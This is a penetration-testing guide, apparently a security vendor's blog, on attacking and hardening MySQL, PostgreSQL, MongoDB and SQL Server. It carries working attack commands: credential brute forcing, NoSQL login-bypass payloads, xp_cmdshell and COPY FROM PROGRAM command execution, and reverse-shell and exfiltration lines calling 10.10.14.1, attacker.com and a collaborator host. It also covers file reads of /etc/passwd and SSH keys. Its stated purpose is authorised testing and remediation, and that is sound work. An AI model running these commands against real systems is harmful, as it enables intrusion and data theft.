Database Security Testing: MySQL, PostgreSQL, MongoDB and SQL Server

Databases are the crown jewels of every application stack. A successful database compromise typically means game over — full data exfiltration, credential theft, and in some configurations, operating system command execution. Yet database security testing is often the most inconsistently scoped part of an engagement. Is the DB server in scope? Does "web application pentest" include direct database port access? What does "database assessment" actually mean?

This guide cuts through the ambiguity. We cover scope decisions, engine-specific attack techniques for MySQL/MariaDB, PostgreSQL, MongoDB, and SQL Server, plus the tooling and remediation guidance you need to test and harden database infrastructure properly.

Scope note: This guide distinguishes between web-layer database testing (SQL injection through the application) and direct database assessment (authenticated/unauthenticated access to database ports). Both are covered. Always confirm in-scope assets with your client before running network-level database tests.

Defining Scope: Web App Pentest vs. Dedicated DB Assessment

There is a persistent scope ambiguity on every engagement that touches databases. A standard web application penetration test typically covers SQL injection through application endpoints — the web layer as the attack surface. A dedicated database assessment goes further: direct network access to database ports, authenticated testing of DB user privileges, configuration review, and OS-level interaction through database features.

Area Web App Pentest Dedicated DB Assessment
SQL injection (web layer) In scope In scope
OOB SQLi / DNS exfiltration In scope In scope
Direct port access (3306, 5432, etc.) Usually out of scope In scope
Default credential testing (direct) Out of scope In scope
Privilege escalation within DB Via SQLi only Full testing
OS command execution via DB Via SQLi chaining Direct testing
DB configuration review Not applicable In scope

When in doubt, define scope explicitly. "Web application and underlying infrastructure" is meaningfully different from "web application endpoints only." Get written confirmation before scanning database ports or attempting direct authentication.

Network Reconnaissance: Finding Exposed Database Ports

Before testing anything at the protocol level, enumerate what is exposed. Databases that should never face the internet routinely do — through misconfigured security groups, overzealous firewall rules, or legacy infrastructure decisions nobody documented.

Default database ports to target:

# Service version detection across common DB ports
nmap -sV -p 3306,5432,27017,27018,27019,1433,6379 --open -oA db-ports 192.168.1.0/24

# Run all relevant NSE DB scripts against discovered hosts
nmap -p 3306 --script mysql-info,mysql-databases,mysql-empty-password,mysql-users 10.10.10.5
nmap -p 5432 --script pgsql-brute,postgresql-info 10.10.10.6
nmap -p 27017 --script mongodb-info,mongodb-databases 10.10.10.7
nmap -p 1433 --script ms-sql-info,ms-sql-empty-password,ms-sql-config 10.10.10.8

The mysql-empty-password and ms-sql-empty-password scripts are worth running on every engagement — they check for the single most embarrassing misconfiguration: a root or sa account with no password at all.

MySQL / MariaDB Security Testing

Authentication and Default Credentials

MySQL ships with a root account. In older versions (pre-5.7), this account had no password by default. MariaDB historically allowed socket authentication for root, which means any local OS root user can authenticate without a password — a critical distinction when you have command execution through another vector.

# Brute force MySQL credentials with nmap
nmap -p 3306 --script mysql-brute --script-args brute.firstonly=true,userdb=/usr/share/wordlists/seclists/Usernames/top-usernames-shortlist.txt,passdb=/usr/share/wordlists/rockyou.txt 10.10.10.5

# Test common MySQL credentials manually
mysql -h 10.10.10.5 -u root -p''
mysql -h 10.10.10.5 -u root --password=root
mysql -h 10.10.10.5 -u admin --password=admin

# Hydra for parallel credential testing
hydra -l root -P /usr/share/wordlists/rockyou.txt 10.10.10.5 mysql

Information Schema Enumeration

Once authenticated (or exploiting SQLi), information_schema is your roadmap. Every database, table, column, and user privilege is documented there.

-- Enumerate all databases
SELECT schema_name FROM information_schema.schemata;

-- Enumerate tables in a target database
SELECT table_name FROM information_schema.tables WHERE table_schema = 'targetdb';

-- Enumerate columns (useful for identifying credential tables)
SELECT table_name, column_name, data_type
FROM information_schema.columns
WHERE table_schema = 'targetdb'
ORDER BY table_name;

-- Check current user privileges
SHOW GRANTS FOR CURRENT_USER();

-- Check all user accounts
SELECT user, host, authentication_string FROM mysql.user;

-- Identify users with FILE privilege (precondition for UDF/file read)
SELECT user, host FROM mysql.user WHERE File_priv = 'Y';

User-Defined Function (UDF) Injection for OS Command Execution

MySQL's UDF mechanism allows loading shared libraries that expose new SQL functions. If you have FILE privilege and the ability to write to the plugin directory, you can load a malicious UDF and execute OS commands. This is a well-documented privilege escalation path — Metasploit's exploit/multi/mysql/mysql_udf_payload automates it.

-- Check plugin directory (must be writable)
SHOW VARIABLES LIKE 'plugin_dir';

-- Check secure_file_priv (empty = no restriction on FILE operations)
SHOW VARIABLES LIKE 'secure_file_priv';

-- Check if you can already write files
SELECT 1 INTO OUTFILE '/tmp/test_write.txt';

-- With Metasploit (post-exploitation, requires valid credentials)
msf6 > use exploit/multi/mysql/mysql_udf_payload
msf6 exploit(mysql_udf_payload) > set RHOSTS 10.10.10.5
msf6 exploit(mysql_udf_payload) > set USERNAME root
msf6 exploit(mysql_udf_payload) > set PASSWORD ''
msf6 exploit(mysql_udf_payload) > run

Privilege Escalation Paths

Check for users with excessive global privileges. SUPER, FILE, EXECUTE on mysql.* and CREATE ROUTINE are the dangerous ones. A user that can create stored procedures with SQL SECURITY DEFINER and invoke them as a higher-privileged definer is a classic escalation path.

-- Identify overprivileged accounts
SELECT user, host, Super_priv, File_priv, Execute_priv, Create_routine_priv
FROM mysql.user
WHERE Super_priv='Y' OR File_priv='Y';

-- Check for anonymous users (major misconfiguration)
SELECT user, host FROM mysql.user WHERE user = '';

-- Read arbitrary files via LOAD_FILE (requires FILE privilege)
SELECT LOAD_FILE('/etc/passwd');
SELECT LOAD_FILE('/etc/mysql/my.cnf');

PostgreSQL Security Testing

Trust Authentication Misconfiguration

PostgreSQL's pg_hba.conf controls client authentication. The trust method means: any connection from the specified host is accepted without a password. Finding host all all 0.0.0.0/0 trust in pg_hba.conf is an immediate critical finding — any client anywhere can authenticate as any user including superusers.

# Test for trust authentication (no password required)
psql -h 10.10.10.6 -U postgres -c "\l"
psql -h 10.10.10.6 -U postgres --no-password -c "SELECT current_user;"

# Brute force PostgreSQL credentials
nmap -p 5432 --script pgsql-brute --script-args brute.firstonly=true,userdb=users.txt,passdb=/usr/share/wordlists/rockyou.txt 10.10.10.6

hydra -l postgres -P /usr/share/wordlists/rockyou.txt 10.10.10.6 postgres

Role Enumeration

-- Enumerate all roles and their attributes
SELECT rolname, rolsuper, rolinherit, rolcreaterole, rolcreatedb, rolcanlogin, rolreplication
FROM pg_roles
ORDER BY rolsuper DESC;

-- Check current user privileges
SELECT current_user, session_user;
SELECT has_database_privilege(current_user, 'postgres', 'CONNECT');

-- List all schemas and tables
SELECT schemaname, tablename, tableowner
FROM pg_tables
WHERE schemaname NOT IN ('pg_catalog', 'information_schema')
ORDER BY schemaname, tablename;

COPY TO/FROM PROGRAM — OS Command Execution

COPY ... FROM PROGRAM is the PostgreSQL superuser's equivalent of a shell. Introduced in PostgreSQL 9.3, it executes an arbitrary OS command and reads its output into a table. Any superuser can use it — no additional configuration required.

-- Execute OS commands via COPY FROM PROGRAM (requires superuser)
COPY cmd_output FROM PROGRAM 'id';
COPY cmd_output FROM PROGRAM 'whoami';
COPY cmd_output FROM PROGRAM 'cat /etc/passwd';

-- Read command output
CREATE TABLE cmd_output (output text);
COPY cmd_output FROM PROGRAM 'id';
SELECT * FROM cmd_output;

-- Reverse shell one-liner
COPY cmd_output FROM PROGRAM 'bash -c "bash -i >& /dev/tcp/10.10.14.1/4444 0>&1"';

-- Metasploit module for authenticated RCE
msf6 > use exploit/multi/postgres/postgres_copy_from_program_cmd_exec
msf6 exploit(postgres_copy_from_program_cmd_exec) > set RHOSTS 10.10.10.6
msf6 exploit(postgres_copy_from_program_cmd_exec) > set USERNAME postgres
msf6 exploit(postgres_copy_from_program_cmd_exec) > set PASSWORD postgres
msf6 exploit(postgres_copy_from_program_cmd_exec) > run

pg_read_file and pg_ls_dir

Superusers can read arbitrary files on the database server filesystem using built-in administrative functions. This is a high-impact finding even without code execution — configuration files, SSH keys, and application secrets are all readable.

-- Read arbitrary files (superuser only, paths relative to data directory by default)
SELECT pg_read_file('pg_hba.conf');
SELECT pg_read_file('postgresql.conf');

-- List directory contents
SELECT * FROM pg_ls_dir('.');
SELECT * FROM pg_ls_dir('/etc');

-- Read absolute paths (PostgreSQL 11+)
SELECT pg_read_file('/etc/passwd');
SELECT pg_read_file('/var/lib/postgresql/.ssh/id_rsa');

MongoDB Security Testing

Authentication Bypass via Empty Credentials

MongoDB's most infamous misconfiguration is running without authentication enabled at all. Versions prior to 3.0 shipped with no authentication by default. Production deployments exposed to the internet with this configuration were systematically wiped by ransomware campaigns ("MongoDB ransom attacks") in 2017 and again in later years. This still appears in the wild.

# Test for unauthenticated access
mongo --host 10.10.10.7 --port 27017

# In mongo shell — enumerate databases without credentials
show dbs

# Nmap script to enumerate databases and collections
nmap -p 27017 --script mongodb-info,mongodb-databases,mongodb-brute 10.10.10.7

# List all collections once connected
use admin
db.getCollectionNames()

# Dump all users
db.system.users.find().pretty()

# Show server configuration (exposes bind_ip, auth settings)
db.adminCommand({getCmdLineOpts: 1})

NoSQL Injection from the Web Layer

NoSQL injection against MongoDB typically targets applications that pass user-controlled JSON directly into queries without sanitization. The classic bypass uses MongoDB's $ne (not equal) operator to circumvent authentication checks.

# HTTP parameter injection — login bypass
# Original request body: {"username":"admin","password":"secret"}
# Injected:
{"username": {"$ne": null}, "password": {"$ne": null}}

# URL parameter injection (common in Express/Node apps)
GET /api/users?username[$ne]=&password[$ne]=

# curl example
curl -s -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":{"$ne":null},"password":{"$ne":null}}'

# Regex-based enumeration — extract usernames character by character
curl -s -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":{"$regex":"^a"},"password":{"$ne":null}}'

# Blind injection using $where (server-side JS execution, deprecated in newer versions)
curl -s -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":{"$where":"sleep(3000)"}}'

Exposed Admin Interfaces

Older MongoDB deployments (pre-3.6) shipped with a built-in HTTP admin interface on port 28017. While removed in later versions, it still appears on legacy infrastructure and exposes complete server status, current operations, and database listings without authentication.

# Check for legacy HTTP admin interface
curl http://10.10.10.7:28017/
curl http://10.10.10.7:28017/serverStatus
curl http://10.10.10.7:28017/_commands

# Metasploit scanner for open MongoDB instances
msf6 > use auxiliary/scanner/mongodb/mongodb_login
msf6 auxiliary(mongodb_login) > set RHOSTS 10.10.10.7
msf6 auxiliary(mongodb_login) > run

SQL Server Security Testing

sa Account and Windows Authentication

SQL Server has two authentication modes: Windows Authentication (Kerberos/NTLM, domain-integrated) and Mixed Mode (Windows + SQL authentication). In Mixed Mode, the sa (system administrator) account is enabled. Older installations routinely have sa with a blank or trivially guessable password.

# Enumerate SQL Server instances on the network (UDP 1434)
nmap -sU -p 1434 --script ms-sql-info 10.10.10.0/24

# Test sa with empty password
nmap -p 1433 --script ms-sql-empty-password 10.10.10.8

# Brute force SQL Server credentials
nmap -p 1433 --script ms-sql-brute --script-args brute.firstonly=true 10.10.10.8

# Test with impacket (supports Windows auth via Kerberos)
mssqlclient.py -windows-auth DOMAIN/user:password@10.10.10.8
mssqlclient.py sa:''@10.10.10.8

# Metasploit auxiliary scanner
msf6 > use auxiliary/scanner/mssql/mssql_login
msf6 auxiliary(mssql_login) > set RHOSTS 10.10.10.8
msf6 auxiliary(mssql_login) > set USERNAME sa
msf6 auxiliary(mssql_login) > set PASS_FILE /usr/share/wordlists/rockyou.txt
msf6 auxiliary(mssql_login) > run

xp_cmdshell — OS Command Execution

xp_cmdshell is SQL Server's built-in OS command execution interface. It is disabled by default since SQL Server 2005, but can be re-enabled by any user with the sysadmin role — which includes sa and any account granted that role. It is the most direct path from SQL injection to system compromise on Windows environments.

-- Enable xp_cmdshell (requires sysadmin)
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;

-- Execute OS commands
EXEC xp_cmdshell 'whoami';
EXEC xp_cmdshell 'net user';
EXEC xp_cmdshell 'ipconfig /all';

-- Capture output into a table
CREATE TABLE #output (output NVARCHAR(4000));
INSERT INTO #output EXEC xp_cmdshell 'dir C:\';
SELECT * FROM #output;

-- Reverse shell via xp_cmdshell
EXEC xp_cmdshell 'powershell -e [base64-encoded-reverse-shell]';

-- Via sqlmap (automated exploitation)
sqlmap -u "http://target.com/search?q=1" --os-shell --dbms=mssql

Linked Servers

SQL Server linked servers allow one SQL Server instance to execute queries against another. Misconfigurations in linked server security context (running as sa on the remote server) turn a low-privilege compromise of one DB into immediate access to others — including on different network segments.

-- Enumerate linked servers
EXEC sp_linkedservers;
SELECT name, product, provider, data_source FROM sys.servers WHERE is_linked = 1;

-- Execute queries on linked server
SELECT * FROM OPENQUERY([LINKED_SERVER_NAME], 'SELECT current_user');
EXEC ('SELECT @@version') AT [LINKED_SERVER_NAME];

-- Check linked server security context
SELECT name, product, provider, data_source, catalog, connect_timeout,
       modify_date, is_linked, is_remote_login_enabled
FROM sys.servers
WHERE is_linked = 1;

-- Attempt privilege escalation via linked server
EXEC ('EXEC xp_cmdshell ''whoami''') AT [LINKED_SERVER_NAME];

SQL Injection and Out-of-Band Exfiltration

sqlmap for Web-Layer Testing

sqlmap remains the definitive tool for SQL injection exploitation. For professional engagements, understand what it is doing before running it — particularly --os-shell and --level 5 --risk 3 which are aggressive and may cause availability impact.

# Basic detection with request file (recommended for complex auth)
sqlmap -r request.txt --batch --level 3 --risk 2

# Target specific parameter
sqlmap -u "http://target.com/product?id=1" -p id --dbms=mysql --batch

# Enumerate databases, tables, then dump
sqlmap -u "http://target.com/product?id=1" --dbs
sqlmap -u "http://target.com/product?id=1" -D targetdb --tables
sqlmap -u "http://target.com/product?id=1" -D targetdb -T users --dump

# Test POST parameter with JSON body
sqlmap -u "http://target.com/api/search" --data='{"query":"test"}' \
  --headers="Content-Type: application/json" --batch

# Second-order SQL injection (store then trigger)
sqlmap -u "http://target.com/profile" --second-url="http://target.com/dashboard" \
  --data="username=test" --batch

# WAF bypass — tamper scripts
sqlmap -u "http://target.com/product?id=1" --tamper=space2comment,between --batch

# OS-level interaction (use carefully, confirm scope)
sqlmap -u "http://target.com/product?id=1" --os-shell --dbms=mysql

Out-of-Band SQL Injection via DNS

Blind SQL injection is notoriously slow to exploit through time-based techniques. Out-of-band (OOB) exfiltration via DNS is faster and more reliable: you force the database to make a DNS lookup to a domain you control, encoding data in the hostname. Each database engine has its own mechanism.

Setup: Use Burp Collaborator, interactsh (interactsh-client on Kali), or your own authoritative DNS server. Replace YOUR.BURP.COLLABORATOR.URL with your OOB endpoint in all examples below.

-- MySQL OOB via LOAD_FILE + UNC path (Windows only)
SELECT LOAD_FILE(CONCAT('\\\\',(SELECT database()),'.YOUR.BURP.COLLABORATOR.URL\\a'));

-- MySQL OOB on Linux via INTO OUTFILE to named pipe (requires FILE privilege)
SELECT (SELECT password FROM mysql.user LIMIT 1)
INTO OUTFILE '/dev/tcp/attacker.com/4444';

-- PostgreSQL OOB via COPY TO PROGRAM
COPY (SELECT version()) TO PROGRAM
  'curl http://YOUR.BURP.COLLABORATOR.URL/$(psql --version | base64)';

-- PostgreSQL OOB via dblink (if extension enabled)
SELECT dblink_connect('host='||(SELECT current_user)||'.YOUR.BURP.COLLABORATOR.URL user=a password=a dbname=a');

-- SQL Server OOB via master..xp_dirtree (no xp_cmdshell needed)
DECLARE @data varchar(1024);
SET @data = (SELECT TOP 1 name FROM master..sysdatabases);
EXEC master..xp_dirtree CONCAT('\\', @data, '.YOUR.BURP.COLLABORATOR.URL\a');

-- SQL Server OOB via DNS lookup using OPENROWSET
SELECT * FROM OPENROWSET('SQLNCLI','server='+@@version+'.YOUR.BURP.COLLABORATOR.URL;uid=a;pwd=a','SELECT 1');

-- MySQL OOB via sqlmap (automated)
sqlmap -u "http://target.com/product?id=1" --technique=E \
  --dns-domain=YOUR.BURP.COLLABORATOR.URL --batch

OOB SQLi is particularly valuable when the application returns no visible output (fully blind injection) and time-based techniques are unreliable due to network latency. A DNS hit to your collaborator server confirms injection and allows data exfiltration without a direct network path from the database server back to you.

Common Misconfigurations Checklist

Beyond engine-specific techniques, these are the misconfigurations that consistently appear across every database technology:

Remediation Guidance

Network Controls

Database ports should never be exposed beyond the application tier. Use security groups, host-based firewalls (ufw, iptables), or network ACLs to restrict database port access to application server IP addresses only. For cloud deployments, databases should sit in a private subnet with no direct internet route. If remote administration is required, access via a bastion host or VPN — never by opening database ports directly.

Authentication Hardening

Principle of Least Privilege

Create dedicated database users per application with only the permissions that application requires. A read-only reporting service should connect with a read-only user. An application that never deletes records should not have DELETE privileges. Audit privileges quarterly with:

-- MySQL: review all grants
SELECT CONCAT('SHOW GRANTS FOR ''', user, '''@''', host, ''';')
FROM mysql.user WHERE user != '' ORDER BY user;

-- PostgreSQL: review role memberships
SELECT grantee, privilege_type, table_schema, table_name
FROM information_schema.role_table_grants
WHERE grantee NOT IN ('PUBLIC', 'postgres')
ORDER BY grantee, table_schema, table_name;

-- SQL Server: identify logins with sysadmin role
SELECT p.name, p.type_desc, pp.name AS role
FROM sys.server_principals p
JOIN sys.server_role_members rm ON p.principal_id = rm.member_principal_id
JOIN sys.server_principals pp ON rm.role_principal_id = pp.principal_id
WHERE pp.name = 'sysadmin';

Encryption in Transit

Enable TLS for all database connections and enforce it server-side. For MySQL, set require_secure_transport = ON. For PostgreSQL, set ssl = on in postgresql.conf and use hostssl instead of host in pg_hba.conf. For MongoDB, configure net.tls.mode: requireTLS. Applications should verify the server certificate — not just encrypt the connection.

Application-Layer SQL Injection Prevention

Parameterized queries (prepared statements) eliminate SQL injection at the root cause. ORMs with parameterized backends (SQLAlchemy, Hibernate, ActiveRecord) are safe by default when used correctly — but raw query interpolation inside an ORM is still vulnerable. Input validation and a WAF are defense-in-depth, not substitutes for parameterization.

Detect SQL Injection and Database Exposure Automatically

Ironimo's web application scanner automatically detects SQL injection vulnerabilities across your application stack — including time-based blind injection, error-based injection, and out-of-band SQLi via DNS callback. The scanner also flags database information disclosure in HTTP responses, exposed error messages revealing schema details, and misconfigured database admin interfaces reachable from the web layer.

Stop finding database vulnerabilities in your pentest reports. Find them in your security scanner first.

Start free scan